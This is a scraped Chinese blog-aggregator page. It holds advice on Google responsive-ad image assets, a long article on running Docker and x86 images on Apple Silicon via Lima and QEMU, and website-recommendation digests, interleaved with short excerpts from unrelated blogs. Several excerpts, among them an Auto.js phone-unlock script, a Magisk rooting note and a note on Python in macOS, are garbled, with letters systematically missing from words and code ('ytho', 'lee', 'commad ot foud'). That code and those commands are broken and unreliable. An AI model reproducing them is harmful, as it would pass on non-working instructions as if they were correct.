为了取得最理想的效果，请避免使用模糊、歪斜、上下颠倒、不清晰、带有边框、反色或过度使用滤镜的图片。
不要叠加徽标
请勿在图片上方叠加徽标，因为某些广告版式可能本来就会加徽标。不过，如果徽标已融入到图像中，那便没有问题。
避免叠加文字
避免在图片上方插入文字。请注意，素材资源组合在一起后，您插入的文字可能会显得重复，例如当叠加的文字与标题非常相似的时候。另外，在尺寸较小的广告中，叠加文字会难以辨认。不过，如果文字是自然嵌入的或已融入到图片中，那便没有问题。例如，照片中出现的文字标志就属于自然嵌入的文字。
不要叠加按钮
提供按钮（承诺不存在的功能，例如：“播放”、“下载”或“关闭”）属于违反 Google Ads 政策的行为。
避免拼贴图片
请使用单一图片。不建议使用拼贴的图片。
避免使用数字合成背景
请避免在数字合成背景（包括全白背景）上展示产品，而应使用有实景和自然阴影与光线的优质照片。
除了上述 Google 指南中提及的做法外，需明确：素材是否合适，也是在持续变化；针对素材、标题，或许在某个时间段内，是理想甚至最佳的，但这并非永恒如此；因此，需要间断性查看 Google Ads 建议（优化得分），从而及时做出调整。
原文首发于：谷歌自适应广告素材，制作心得分享 | 悠然宜想亭。
您可能感兴趣的文章
- 博客 MiaoTony's Blog 2022-03-13 17:30:001130
- 博客 二丫讲梵 2022-03-12 16:27:15请参阅：Obsidian 插件周刊说明。
- 博客 二丫讲梵 2022-03-12 16:26:46学习周刊-2022年第09周
- 博客 Jiajun的编程随想 2022-03-12 08:00:00《使用 HTTP Router 处理 Telegram Bot 按钮回调》写 Telegram Bot 的时候，我们可能会选择使用 [Inline keyboard](https://core.telegram.org/bots/2-0-intro#new-inline-keyboards)，这样的好处是界面比较好看，交互也好，消息下面可以有很多按钮，点击一下就可以更新消息和按钮，但是开发起来就比较麻烦，因为每一个点击，对于 Telegram Bot 程序来说，都是要处理一个回调，而且大部分情况下按钮是需要带一定的消息回去的...
- 博客 二丫讲梵 2022-03-05 21:21:22周刊维护在：https://github.com/eryajf/learning-weekly 欢迎投稿，推荐或自荐项目 /文章 /博客，请提交 issue 。
- 博客 二丫讲梵 2022-02-26 21:41:20请参阅：Obsidian 插件周刊说明。
- 博客 二丫讲梵 2022-02-26 21:41:01周刊维护在：https://github.com/eryajf/learning-weekly 欢迎投稿，推荐或自荐项目 /文章 /博客，请提交 issue 。
- 博客 构建我的被动收入 2022-02-24 08:00:00写了二十多万字的文章，本文分享我的一些写作经验。
- 博客 轶哥博客 2022-02-23 20:55:58<>温馨提示：如果需要迁移大量数据，一定要使用专业工具并请专业的公司提供技术支持，同时做好迁移审计工作。以下方案仅供参考。<>MySQL导入数据库导致中文乱码属于常见问题。一般用客户端工具导入不容易出现此问题，但是有点大又不是特别大（10G-100G）的数据通过命令导入就比较容易遇到这个问题。而网上的答案几乎都是经验性的结论，答主大多知其然不知其所以然。<>注：命令导入，即
ource xxx.ql。 - 博客 轶哥博客 2022-02-23 20:16:12<>MySQL批量重命名表名和列名，修改表名为大驼峰，列名为小驼峰。<>最近公司项目重构，为了适应Prima的习惯，保持数据库字段命名方式和代码模式一致，特地编写此脚本实现批量重命名已存在的表名和列名。
- 博客 轶哥博客 2022-02-22 17:28:12<>红米K30至尊纪念版（天玑1000）刷最新版MIUI13内测版（cezae 22.2.18）后不能root，magik刷了后root拿不到，官方root提示：“很抱歉，当前版本暂不支持开启root权限，可能是root包未准备好或该版本已撤包”。Recovery也自动恢复成小米官方版本了。<>安装Magik Maager APP后提示提示
Ramdik为quot是quot，但是无法正常授权，拿不到Root权限。点击安装后提示“选择并修补一个文件”。<>以下为解决方法联发科芯片手机刷入Magik oot解决方案。 - 博客 轶哥博客 2022-02-21 22:53:16<>使用Auto.j解锁MIUI13的密码锁屏，不能直接滑动屏幕，会因为防误触功能导致解锁失败，关闭防误触也没用。只需要滑动的时候不那么直接即可。
if (!device.iScreeO()) { //从息屏状态 将屏幕唤醒 device.wakeU()//唤醒设备 lee(2000) // 等待屏幕亮起 wie(radom(device.width / 3, device.width / 2), radom(device.height * 8 / 10, device.height * 7 / 10), radom(device.width / 3, device.width / 2), radom(device.height * 2 / 10, device.height / 10), radom(500, 1000)) lee(1000) //解锁 dec(1).fidOe().click() dec(2).fidOe().click() dec(3).fidOe().click() dec(4).fidOe().click()} - 博客 二丫讲梵 2022-02-19 23:38:57周刊维护在：https://github.com/eryajf/learning-weekly 欢迎投稿，推荐或自荐项目 /文章 /博客，请提交 issue 。
- 博客 王子亭的博客 2022-02-18 01:00:00
最近公司的很多同事都换上了搭载 M1 Pro 或 M1 Max 的新款 MacBook Pro，虽然日常使用的软件如 Chrome、Visual Studio Code 和 Slack 都已经适配得很好了，但面对 Docker 却犯了难。
众所周知，Docker 用到了 Linux 的两项特性：namespaces 和 cgroups 来提供隔离与资源限制，因此无论如何在 macOS 上我们都必须通过一个虚拟机来使用 Docker。
在 2021 年 4 月时，Docker for Mac（Docker Desktop）发布了 对 Apple Silicon 的实验性支持，它会使用 QEMU 运行一个 ARM 架构的 Linux 虚拟机，默认运行 ARM 架构的镜像，但也支持运行 x86 的镜像。
QEMU 是一个开源的虚拟机（Virtualizer）和仿真器（Emulator），所谓仿真器是说 QEMU 可以在没有来自硬件或操作系统的虚拟化支持的情况下，去模拟运行一台计算机，包括模拟与宿主机不同的 CPU 架构，例如在 Apple Silicon 上模拟 x86 架构的计算机。而在有硬件虚拟化支持的情况下，QEMU 也可以使用宿主机的 CPU 来直接运行，减少模拟运行的性能开销，例如使用 macOS 提供的
Hypervisor.Framework。Docker for Mac 其实就是分别用到了 QEMU 的这两种能力来在 ARM 虚拟机上运行 x86 镜像，和在 Mac 上运行 ARM 虚拟机。
Docker for Mac 确实很好，除了解决新架构带来的问题之外它还对文件系统和网络进行了映射，容器可以像运行在本机上一样访问文件系统或暴露网络端口到本机，几乎感觉不到虚拟机的存在。但 LeanCloud 加入 TapTap 之后已经不是小公司了，按照 Docker Desktop 在 2021 年 8 月推出的 新版价格方案，我们每个人需要支付至少 $5 每月的订阅费用。倒不是我们不愿意付这个钱，只是我想要找一找开源的方案。
之前在 Intel Mac 上，我们会用 Vagrant 或 minikube 来创建虚拟机，它们底层会使用 VirtualBox 或 HyperKit 来完成实际的虚拟化。但 VirtualBox 和 HyperKit 都没有支持 Apple Silicon 的计划。实际上目前开源的虚拟化方案中只有 QEMU 对 Apple Silicon 有比较好的支持，QEMU 本身只提供命令行的接口，例如 Docker for Mac 调用 QEMU 时的命令行参数是这样：
/Applications/Docker.app/Contents/MacOS/qemu-system-aarch64 -accel hvf \-cpu host -machine virt,highmem=off -m 2048 -smp 5 \-kernel /Applications/Docker.app/Contents/Resources/linuxkit/kernel \-append linuxkit.unified_cgroup_hierarchy=1 page_poison=1 vsyscall=emulate \panic=1 nospec_store_bypass_disable noibrs noibpb no_stf_barrier mitigations=off \vpnkit.connect=tcp+bootstrap+client://192.168.65.2:61473/f1c4db329a4a520d73a79eaa1360de7be7d09948a1ac348b04c8e01f6f6eb2c9 \console=ttyAMA0 -initrd /Applications/Docker.app/Contents/Resources/linuxkit/initrd.img \-serial pipe:/var/folders/12/_bbrd4692hv8r9bx_ggw5kp80000gn/T/qemu-console1367481183/fifo \-drive if=none,file=/Users/ziting/Library/Containers/com.docker.docker/Data/vms/0/data/Docker.raw,format=raw,id=hd0 \-device virtio-blk-pci,drive=hd0,serial=dummyserial -netdev socket,id=net1,fd=3 -device virtio-net-device,netdev=net1,mac=02:50:00:00:00:01 \-vga none -nographic -monitor none为了实际使用 QEMU 进行开发，我们需要一个使用上更友好的封装，能够自动配置好 Docker 和 Kubernetes（或者至少方便编写像 Vagrantfile 一样的脚本），提供类似 Docker for Mac 的网络映射和文件映射，于是我找到了 Lima。
Lima 自称是 macOS 上的 Linux 子系统（macOS subsystem for Linux），它使用 QEMU 运行了一个 Linux 虚拟机，其中安装有 rootless 模式的 containerd，还通过 SSH 提供了文件映射和自动的端口转发。
但为什么是 containerd 而不是 Docker 呢？随着容器编排平台 Kubernetes 如日中天，社区希望将运行容器这个关键环节进行标准化，让引入 Docker 之外的其他容器运行时更加容易，于是 推出了 Container Runtime Interface (CRI)。containerd 就是从 Docker 中拆分出的一个 CRI 的实现，相比于 Docker 本体更加精简，现在也交由社区维护。
因此如 Lima 这样新的的开源软件会更偏好选择 containerd 来运行容器，因为组件更加精简会有更好的性能，也不容易受到 Docker 产品层面变化的影响。nerdctl 是与 containerd 配套的命令行客户端（
nerd是containerd的末尾 4 个字母），用法与 docker 或 docker-compose 相似（但并不完全兼容）。所谓 rootless 则是指通过替换一些组件，让容器运行时（containerd）和容器都运行在非 root 用户下，每个用户都有自己的 containerd，这样绝大部分操作都不需要切换到 root 来进行，也可以减少安全漏洞的攻击面。
但我们希望能在本地运行完整的 rootful 模式的 dockerd 和 Kubernetes 来尽可能地模拟真实的线上环境，好在 Lima 提供了丰富的 自定义能力，我基于社区中的一些脚本（docker.yaml 和 minikube.yaml）实现了我们的需求，而且这些自定义的逻辑都被以脚本的形式写到了 yaml 描述文件中，只需一条命令就可以创建出相同的虚拟机。
~ ❯ limactl start docker.yaml? Creating an instance "docker" Proceed with the default configurationINFO[0005] Attempting to download the image from "https://cloud-images.ubuntu.com/focal/current/focal-server-cloudimg-arm64.img"INFO[0005] Using cache "/Users/ziting/Library/Caches/lima/download/by-url-sha256/ae20df823d41d1dd300f8866889804ab25fb8689c1a68da6b13dd60a8c5c9e35/data"INFO[0006] [hostagent] Starting QEMU (hint: to watch the boot progress, see "/Users/ziting/.lima/docker/serial.log")INFO[0006] SSH Local Port: 55942INFO[0006] [hostagent] Waiting for the essential requirement 1 of 5: "ssh"INFO[0039] [hostagent] Waiting for the essential requirement 2 of 5: "user session is ready for ssh"INFO[0039] [hostagent] Waiting for the essential requirement 3 of 5: "sshfs binary to be installed"INFO[0048] [hostagent] Waiting for the essential requirement 4 of 5: "/etc/fuse.conf to contain \"user_allow_other\""INFO[0051] [hostagent] Waiting for the essential requirement 5 of 5: "the guest agent to be running"INFO[0051] [hostagent] Mounting "/Users/ziting"INFO[0051] [hostagent] Mounting "/tmp/lima"INFO[0052] [hostagent] Forwarding "/run/lima-guestagent.sock" (guest) to "/Users/ziting/.lima/docker/ga.sock" (host)INFO[0092] [hostagent] Waiting for the optional requirement 1 of 1: "user probe 1/1"INFO[0154] [hostagent] Forwarding TCP from [::]:2376 to 127.0.0.1:2376INFO[0304] [hostagent] Forwarding TCP from [::]:8443 to 127.0.0.1:8443INFO[0332] [hostagent] Waiting for the final requirement 1 of 1: "boot scripts must have finished"INFO[0351] READY. Run `limactl shell docker` to open the shell.INFO[0351] To run `docker` on the host (assumes docker-cli is installed):INFO[0351] $ export DOCKER_HOST=tcp://127.0.0.1:2376INFO[0351] To run `kubectl` on the host (assumes kubernetes-cli is installed):INFO[0351] $ mkdir -p .kube && limactl cp minikube:.kube/config .kube/config我还发现了另外一个基于 Lima 的封装 —— Colima，默认提供 rootful 的 dockerd 和 Kubernetes，但 Colima 并没有对外暴露 Lima 强大的自定义能力，因此我们没有使用，但对于没那么多要求的开发者来说，也是一个更易用的选择。
在默认的情况下，Lima 中的 Docker 在 Apple Silicon 上只能运行 ARM 架构的镜像，但就像前面提到的那样，我们可以使用 QEMU 的模拟运行的能力来运行其他架构（如 x86）的容器。
qemu-user-static是一个进程级别的模拟器，可以像一个解释器一样运行其他架构的可执行文件，我们可以利用 Linux 的一项 Binfmt_misc（中文版）的特性让 Linux 遇到特定架构的可执行文件时自动调用qemu-user-static，这种能力同样适用于容器中的可执行文件。社区中也有 qus 这样的项目，对这些能力进行了封装，只需执行一行
docker run --rm --privileged aptman/qus -s -- -p x86_64就可以让你的 ARM 虚拟机魔法般地支持运行 x86 的镜像。/usr/bin/containerd-shim-runc-v2\_ /qus/bin/qemu-x86_64-static /usr/sbin/nginx -g daemon off; \_ /qus/bin/qemu-x86_64-static /usr/sbin/nginx -g daemon off; \_ /qus/bin/qemu-x86_64-static /usr/sbin/nginx -g daemon off; \_ /qus/bin/qemu-x86_64-static /usr/sbin/nginx -g daemon off; \_ /qus/bin/qemu-x86_64-static /usr/sbin/nginx -g daemon off;使用 qus 运行 x86 镜像的进程树如上，所有进程（包括创建出的子进程）都自动通过 QEMU 模拟运行。
回到题目中的问题，因为 Docker 依赖于 Linux 内核的特性，所以在 Mac 上必须通过虚拟机来运行；Apple Silicon 作为新的架构，虚拟机的选择比较受限，因为有些镜像并不提供 ARM 架构的镜像，所以有时还有模拟运行 x86 镜像的需求；Docker Desktop 作为商业产品，有足够的精力来去解决这些「脏活累活」，但它在这个时间点选择不再允许所有人免费使用；开源社区中新的项目都希望去 Docker 化，用 containerd 取代 dockerd，但这又带来了使用习惯的变化并且可能与线上环境不一致。因为这些原因，目前在 Apple Silicon 上安装 Docker 还是需要花一些时间去了解背景知识的，但好在依然有这些优秀的开源项目可供选择。
虽然 云引擎 也是基于 Docker 等容器技术构建的，但云引擎力图为用户提供开箱即用的使用体验而不必自己配置容器环境、编写构建脚本、收集日志和统计数据。如果想得到容器化带来的平滑部署、快速回滚、自动扩容等好处但又不想花时间配置，不如来试试云引擎。
其他参考资料：
- 博客 轶哥博客 2022-02-16 22:11:18<>在IPv6正常工作的情况下，访问部分IPv6网站异常的情况下，可以考虑设置IPv4优先，因为纯IPv6的网站非常罕见，通常网站都是配置双栈的。<>设置IPv4优先并不会影响基于RTC或P2P（点对点）的IPv6通讯，直接访问IPv6或只支持IPv6的网站也是没问题的。
- 博客 二丫讲梵 2022-02-14 17:32:32请参阅：Obsidian 插件周刊说明。
- 博客 酷 壳 – CoolShell 2022-02-13 12:28:47
写这篇文章的原因主要还是因为V2EX上的这个贴子，这个贴子中说—— “对接同事的接口，他定义的所有接口都是 post 请求，理由是 https 用 post 更...
The post “一把梭：REST API 全用 POST” first appeared on 酷 壳 - CoolShell. - 博客 酷 壳 – CoolShell 2022-02-12 15:50:06
今天看到微博上有一个热点事件， 是一个关于某公司做的一个监控员工离职倾向的软件，从截图中可以看到员工访问招聘网站的次数，还有投递的简历以及搜索的关建词等等信息，...
The post 谈谈公司对员工的监控 first appeared on 酷 壳 - CoolShell. - 博客 二丫讲梵 2022-02-12 08:08:49周刊维护在：https://github.com/eryajf/learning-weekly 欢迎投稿，推荐或自荐项目 /文章 /博客，请提交 issue 。
- 博客 Holmesian Blog 2022-02-10 13:49:24最近发现在电池和交流电交叉使用期间，合上 MacBook 的盖子睡眠唤醒后，偶尔会出现 WiFi 能连上，并且能够获取到IP地址，但就是无法上网的情况。没想到已经到 macOS Monterey...
- 博客 MiaoTony's Blog 2022-02-07 21:00:001150
- 博客 轶哥博客 2022-02-03 23:32:40<>
从MacOS 12.3 Beta版本开始，系统将不再内置ytho2且将无法正常安装ytho2，无论是itel芯片还是Ale芯片的设备都无法安装。原因是<>/ur/i/ytho的软链接无法正常被删除或覆盖。并且默认不开启ytho3命令。2022年04月17日14:58:00更新： 从MacOS 12.4 Beta版(21F5048e) 开始，可以通过yev在itel和Ale芯片中安装ytho2。详细方法见《rew安装ytho2》。<>因此可能会导致一系列依赖ytho命令的应用程序无法运行。<>例如将会遇到VS(Viual Studio Code)无法使用code命令。➜ aa-we git:(892f9ef) ✗ code ./ur/local/i/code: lie 6: ytho: commad ot foud/ur/local/i/code: lie 10: ./MacOS/Electro: No uch file or directoryquotViual Studio Code - Iiderquot eed to e udated o macOS Moterey弹窗的问题。 - 博客 晚晴幽草轩 2022-01-31 21:21:00
倾城之链作为一个开放平台，旨在云集全球优秀网站，探索互联网中更广阔的世界。此周刊，将汇聚过去一周倾城所收录的内容，以飨同好；欢迎推荐或自荐（仅限有独立域名的网站，可以是二级域名）。您如果要了解收录要求，请参见关于倾城。
倾城之链作为一个开放平台，旨在云集全球优秀网站，探索互联网中更广阔的世界。此周刊，将汇聚过去一周倾城所收录的内容，以飨同好；欢迎推荐或自荐（仅限有独立域名的网站，可以是二级域名）。您如果要了解收录要求，请参见关于倾城。
备注：本周刊每周五生成，首发于个人微信公众号晚晴幽草轩、博客晚晴幽草轩，以及悠然宜想亭社区；此一键生成脚本基于 Deno 编写，并在 Github 开源：nicejade/nicelinks-weekly。
Fig
Autocomplete for your terminal.
推荐语：Fig 将 VSCode 样式的可视化自动完成添加到您的终端，无需任何配置，可以让您的操作更加快捷。支持数百个 CLI 工具，当您键入时，Fig 会在您现有的 macOS 终端中弹出子命令、选项和上下文相关的参数；有下载安装初步尝试了下，实在是丝滑，提示也非常贴合所想。Fig 适用于 iTerm、Hyper、VSCode 和 macOS 终端，具有以下功能特性：
- 为速度而生：您的终端速度很快，基于 Fig也一样；
- 键盘优先：但是，如果您愿意，可以使用鼠标；
- 开源：完成规范是开源的，由社区构建；
- 个人和团队：将 Fig 用于公共 CLI 工具或您团队的内部工具；
- 本地的：Fig 加载一次然后完全保持本地；
- 私人的：永远不会跟踪敏感数据；
Fig 的完成都是开源的，并由社区的贡献提供支持。更值得称赞的是，使用 Fig.js API，可构建您自己的应用程序，详情可参见：Fig 文档。如果您也是终端操作爱好者，那么 Fig 即将成为您的最爱工具。
── 出自倾城之链 - Fig
美叶
关键字：美叶, UI 设计, 视觉设计, APP 截图, 应用设计, 插画, 设计师, 创意, 原创, 平面设计, UI, UX, UE, GUI, 截屏, 设计网站, 设计原图, 网页设计, 图标, H5, 设计, 灵感
美叶，为设计师，创意人提供有价值的设计参考。灵感采集，优质素材获取，时刻 Follow 最新流行设计趋势。
推荐语：美叶，为设计师，创意人提供有价值的设计参考，让灵感获取变轻松。美叶目前有上线应用墙（精美应用截屏推荐）、读课学堂（设计师入门进阶课堂）、标志库（优秀标志分类展示）、插画师（优秀插画师及作品推荐）等版块儿。
── 出自倾城之链 - 美叶
LibHunt - Trending open-source projects and their alternatives
Discover trending open-source projects and their alternatives.
推荐语：LibHunt，发现流行的开源项目和它们的替代品。其目标是成为开发者寻找库和开源项目以完成其工作的首选网站。它监测 Reddit、HackerNews 和 Dev.to 上发布的所有信息（几乎是实时的）。然后，如果一个开源资源库被提及，我们就会记录下来，并利用它来编制流行和类似项目的清单。
@StanBright：“作为一个拥有 15 年以上经验的软件工程师，我经历了许多编程语言，我注意到每一种新语言都有类似的需求模式。总的来说，LibHunt 是满足我自己需求的一个体现，它的想法是让它对更多的软件开发者同伴有用。我的想法是，它可以有足够的帮助和普及，这样我就可以从中赚到足够的钱（通过赞助）来支持和改进它，直到可预见的几十年“。
如果您对编程语言的流行度感兴趣，您应该查看最流行的编程语言的 LibHunt 索引。
── 出自倾城之链 - LibHunt - Trending open-source projects and their alternatives
Iconoir | Free Icons
The Simple and Definitive hand-crafted SVG Icons Library.
推荐语：Iconoir，简单而权威的手工制作的 SVG 图标库；它是最大的开源库之一，目前拥有 1000 多个 SVG 图标，设计在 24x24 像素的网格上。您可以检索想要的图标，下载即可直接使用，当然也可以通过安装 npm 包来使用；没有高级图标，没有新闻通讯，不需要电子邮件注册。
── 出自倾城之链 - Iconoir | Free Icons
对倾城之链感兴趣的朋友，可通过 Web，小程序，快应用等渠道进行访问(后续将支持更多，如 VsCode 插件，Chrome 扩展等)。您有任何问题，欢迎随时向我们反馈（您可以通过官网反馈渠道，或添加如下客服微信），🤲 。
本期文末寄语
最好的人生是什么样呢？没钱人追求富贵，有钱人追求素淡。没事业拼命奋斗，有事业总想退出。每个人想要的东西都不同。但历经沧桑后你会发现，真正好的人生，无非就是一家三口，父母双全，工作不累，赚钱不少，生活安稳，岁月静好。平平安安过好每一天，就是最好的人生。── 网络 · 佚名
倾城之链作为一个开放平台，旨在云集全球优秀网站，探索互联网中更广阔的世界；在这里，你可以轻松发现、学习、分享更多有用或有趣的事物。
您可能感兴趣的文章
- 优质网站同好者周刊（第 49 期）- 倾城之链
- 优质网站同好者周刊（第 48 期）- 倾城之链
- 优质网站同好者周刊（第 47 期）- 倾城之链
- 优质网站同好者周刊（第 46 期）- 倾城之链
- 优质网站同好者周刊（第 45 期）- 倾城之链
- 优质网站同好者周刊（第 44 期）- 倾城之链
- 优质网站同好者周刊（第 43 期）- 倾城之链
- 优质网站同好者周刊（第 42 期）- 倾城之链
- 优质网站同好者周刊（第 41 期）- 倾城之链
- 优质网站同好者周刊（第 40 期）- 倾城之链
- 优质网站同好者周刊（第 39 期）- 倾城之链
- 开启技术变现之路，探索第三收入来源
- 云集优站，尽在「倾城之链」
- 云集优站，尽在「倾城之链」其二
- 欲问美图何处寻？倾城之链有定音
- 超实用图片工具网站，值得典藏
- 高质量免费 🆓 图标资源大全
- 十佳 AI 产品工具，为生活添彩
- 最想与朋友分享的网站列表
- 博客 二丫讲梵 2022-01-31 00:16:38周刊维护在：https://github.com/eryajf/learning-weekly 欢迎投稿，推荐或自荐项目 /文章 /博客，请提交 issue 。
- 博客 MiaoTony's Blog 2022-01-29 22:00:001154
- 博客 轶哥博客 2022-01-28 23:46:00<>部分程序配置了免费 SSL 证书更新程序，但是更新程序更新证书失败并不会通知到管理员，可能导致业务异常。通过针对域名的 SSL 证书过期监测小程序，作为二道防火墙，避免事故发生。
需求
- 以 cro 风格定时监测 SSL 证书过期和可用状态。
- 提前 2 天发送短信通知管理员（需要支持多手机号）。
- 可以在线维护通知列表（
域名+手机号）。 - 程序要尽量简单，尽量降低后续维护成本。
- 开发要尽可能快。
- 博客 二丫讲梵 2022-01-22 05:43:40周刊维护在：https://github.com/eryajf/learning-weekly 欢迎投稿，推荐或自荐项目 /文章 /博客，请提交 issue 。
- 博客 晚晴幽草轩 2022-01-20 21:21:00
清风明月阁，基于 Wiki.js 搭建的 Web 应用，名字取自：“惟江上之清风，与山间之明月，耳得之而为声，目遇之而成色”。年与时驰，意与岁去，念其功能之丰盈，特在此：记余之所造，录吾之所闻，享愚之所学，载我之随感…..人生漫短，白首时回顾，堪凭这些许文字以自怜。
初衷
早先搭建的十余个网站，有些实属为体验「网站构建工具」而起；岁月蹉跎中折腾多了，那种兴之所至、行之所往的冲动，早已隐去；而今，却又“重蹈覆辙”，实在是感念 Wiki.js 之强大，一时为其蕴藏的「哲思」所着迷；一直以来呢，也在探索文档、Wiki 最佳撰写工具；而前段时间，又恰巧购得云服务器一台；这好奇的念头，与适宜的环境，结合的恰到好处，于是，便有了“清风明月阁”。
命名
给网站命名，向来谨慎，却总也是“因循守旧”，大多没有新意；从最早 2014 年的晚晴幽草轩，到今年（2021）的悠然宜想亭，格式上，都是一个调子：截取喜欢的诗词，结合建筑名为后缀。那些年喜欢李商隐那句：“天意怜幽草，人间重晚晴”，便有了最初的两个网站，这在晚晴幽草轩，天意人间舫一文中有过记载。
多年来，深（身）陷代码中，久未涉足文学诗词，按照如上惯例，为此站取名时，为求其名能“达意”且兼具雅致，好一阵搜肠刮肚；亭台楼阁、轩榭廊舫，殿庭苑斋之中，已用亭、轩、舫、苑，又因此站基于 Wiki.js 所建，在当时或者如今回头看，择以「阁」字，这存在必然性。而在诗词的甄选中，之处有意取李太白的“若非群玉山头见，会向瑶池月下逢”中「群玉」、「瑶池」；虽说雅致，但究竟与心境不能完全契合；斟酌时，须臾之间，灵光乍现，脑海浮现苏子瞻《前赤壁赋》中一段经典：
“逝者如斯，而未尝往也；盈虚者如彼，而卒莫消长也。盖将自其变者而观之，则天地曾不能以一瞬；自其不变者而观之，则物与我皆无尽也，而又何羡乎！且夫天地之间，物各有主，苟非吾之所有，虽一毫而莫取。惟江上之清风，与山间之明月，耳得之而为声，目遇之而成色，取之无禁，用之不竭。是造物者之无尽藏也，而吾与子之所共适。”
其雅致、其意境、其哲思，莫有与心之所愿更契合者，于是立即便定下了，名曰：清风明月阁；工作生活中，自觉总也是”一肚子不合时宜“，今为这网站命此名，怕是为数不多的一次“合乎时宜”；感谢苏子赐名！
其用
漫画《四月一日灵异事件簿》中，有写道：“思想、语言是会束缚人的东西，不但自己的会束缚自己，别人的也会束缚自己”，对此深表认同：愚顽的脑袋里如再被束缚，接收到任何与之相悖的理念，都是引发愤怒的毒物。这个时代，关乎“求同存异”，于虚拟网络中或可“被存在”；而生活的现实中，却是难以“存活”。这些年，关乎“思想的表达、语言的阐述”，所引发的后果，远胜海啸山洪，且是司空见惯；即便朋友恋人间的好心建议（或提议），轻起口角，重则仇恨；如此往复，伤痕累累，乃至近乎“四海无人对夕阳”的悲苦……于是乎，痛定思痛后，终可懂得
海明威为何如此说：我们花了两年学会说话，却要花上六十年来学会闭嘴。大多数时候，我们说得越多，彼此的距离却越远，矛盾也越多。在沟通中，大多数人总是急于表达自己，一吐为快，却一点也不懂对方。两年学说话，一生学闭嘴。懂与不懂，不多说。心乱心静，慢慢说。若真没话，就别说。── 曼妙句子。
耳聪可以闻世声，目明堪能睹世事，这是与生俱来的本领；人间真实，纷呈精彩，阴阳相生，优劣混合；犹为凡夫俗子，免不了阐述下自己看法，一抒心中块垒，也为“两肩抬道义”；倘若付与人当面说，恐引纷争，实非余愿；“夫唯不争，故天下莫能与之争”，于是乎，在自建平台，以文字形式，承载所学、所思、所感、所悟，或是最佳之选。明朝文学家、画家陈继儒，在《小窗幽记》中写道：
带雨有时种竹，关门无事锄花；拈笔闲删旧句，汲泉几试新茶。余尝净一室，置一几，陈几种快意书，放一本旧法帖；古鼎焚香，素麈挥尘，意思小倦，暂休竹榻。饷时而起，则啜苦茗，信手写汉书几行，随意观古画数幅。心目间，觉洒洒灵空，面上俗尘，当亦扑去三寸。但看花开落，不言人是非。
其中所描绘心性境界，实在令人殷羡，而这也正是所追求的完美。至于“汉书几行、平思几许”，置于这人间网络中，赠予有缘人；期之如“江上之清风，山间之明月”，与人无害，偶可参考，吾愿足矣。
2021 年 12 月末，记之于深圳。
- 博客 晚晴幽草轩 2022-01-20 21:21:00
倾城之链作为一个开放平台，旨在云集全球优秀网站，探索互联网中更广阔的世界。此周刊，将汇聚过去一周倾城所收录的内容，以飨同好；欢迎推荐或自荐（仅限有独立域名的网站，可以是二级域名）。您如果要了解收录要求，请参见关于倾城。
备注：本周刊每周五生成，首发于个人微信公众号晚晴幽草轩、博客晚晴幽草轩，以及悠然宜想亭社区；此一键生成脚本基于 Deno 编写，并在 Github 开源：nicejade/nicelinks-weekly。
清风明月阁
且夫天地之间，物各有主，苟非吾之所有，虽一毫而莫取。惟江上之清风，与山间之明月，耳得之而为声，目遇之而成色，取之无禁，用之不竭。是造物者之无尽藏也，而吾与子之所共适。
推荐语：清风明月阁，基于 Wiki 搭建的 Web 应用，名字取自：“惟江上之清风，与山间之明月，耳得之而为声，目遇之而成色”。年与时驰，意与岁去，念其功能之丰盈，特在此：记余之所造，录吾之所闻，享愚之所学，载我之随感…..人生漫短，白首时回顾，堪凭这些许文字以自怜。
初衷：早先搭建的十余个网站，有些实属为体验「网站构建工具」而起；岁月蹉跎中折腾多了，那种兴之所至、行之所往的冲动，早已隐去；而今，却又“重蹈覆辙”，实在是感念 Wiki.js 之强大，一时为其蕴藏的「哲思」所着迷；一直以来呢，也在探索文档、Wiki 最佳撰写工具；而前段时间，又恰巧购得云服务器一台；这好奇的念头，与适宜的环境，结合的恰到好处，于是，便有了“清风明月阁”。
── 出自倾城之链 - 清风明月阁
Plask
关键字：Motion Capture, 3D Animation, AI Animation, AI Motion Capture, Mocap, Animation Software, Motion Tracking
Plask is a browser-based AI motion capture tool and animation editor. With any camera, creators can digitize their movements, automate animation work, collaborate with colleagues, and export them all on one platform.
推荐语：Plask，一款基于浏览器的免费 AI 动作捕捉和动画工具。只需在网络摄像头上录制视频。智能 AI 将为您捕捉动作，让动画变得轻而易举。使用 Plask 基于浏览器的编辑工具编辑您的动画，只需一处即可找到所有必要工具，让您的动画完美无缺。Plask 支持您直接在浏览器中共享、查看和协作。使用 Plask 在浏览器中管理您的想法和项目。无论您是单独工作还是与团队合作，它都可以无缝集成到您的工作流程中。它支持大多数专业文件格式，包括 GLB、FBX、BVH 等。每个人的动画，为每个人服务，使用
Plask，专业质量的工具唾手可得！── 出自倾城之链 - Plask
Svg Wave - A free & beautiful gradient SVG wave Generator.
SVG Wave is a minimal svg wave generator with lot of customization. It lets you abiltiy to generate and export pngs and svgs of beautiful waves. SVG wave also lets you layer multiple waves. Create SVGs for your website designs.
推荐语：Svg Wave，一个免费且漂亮的渐变 SVG 波形图生成器。它支持您自由的对波浪 🌊 进行调整，如波浪的高度、图层数量、弯曲度，颜色等等，也支持重制、反转等操作，以便您可以生成自己满意的图形；除此外，Svg Wave 还支持生成波浪动画（只适用于 Chrome 浏览器）；它可以导出
SVG、PNG两种格式。另外值得一提的是，Svg Wave 这个网站设计的干净、清爽，看着令人颇为舒适。── 出自倾城之链 - Svg Wave - A free & beautiful gradient SVG wave Generator.
Mixkit - Awesome free assets for your next video project
Download Free Stock Video Footage, Stock Music & Premiere Pro Templates for your next video editing project. All assets can be downloaded for free!
推荐语：Mixkit，为您的下一个视频项目提供很棒的免费资源，如：视频剪辑、库存音乐（100 多个免费的 Ambient Stock 音乐曲目。从梦幻般的背景音乐到大气、郁郁葱葱的器乐，用我们的环境音乐曲目之一设定完美的基调。）、声音效果和视频模板。他们精心策划了一些世界上最有才华的创作者的剪辑、曲调和模板，所有内容都是免费提供的。Mixkit 的免费图书馆正在快速增长，每周都有新的视频资产被添加进来，你总能找到完美的高质量项目来下载，并在你的项目中使用。您可以根据需要下载视频、声音和模板，无需署名或注册。如果您从事或有意愿从事视频相关内容创造，Mixkit 是您非常值得关注的网站。
── 出自倾城之链 - Mixkit - Awesome free assets for your next video project
Waline | Waline
标签：
JavaScript·Framework·评论系统一款基于 Valine 衍生的简洁、安全的评论系统。
推荐语：Waline，一款基于 Valine 衍生的简洁、安全的评论系统。可以将 Waline 等价成 With backend Valine。它具有以下功能特征：
- 自由评论：完全的 Markdown 支持，同时包含表情、数学公式、HTML 嵌入；
- 轻量：54kB gzip 的完整客户端大小；
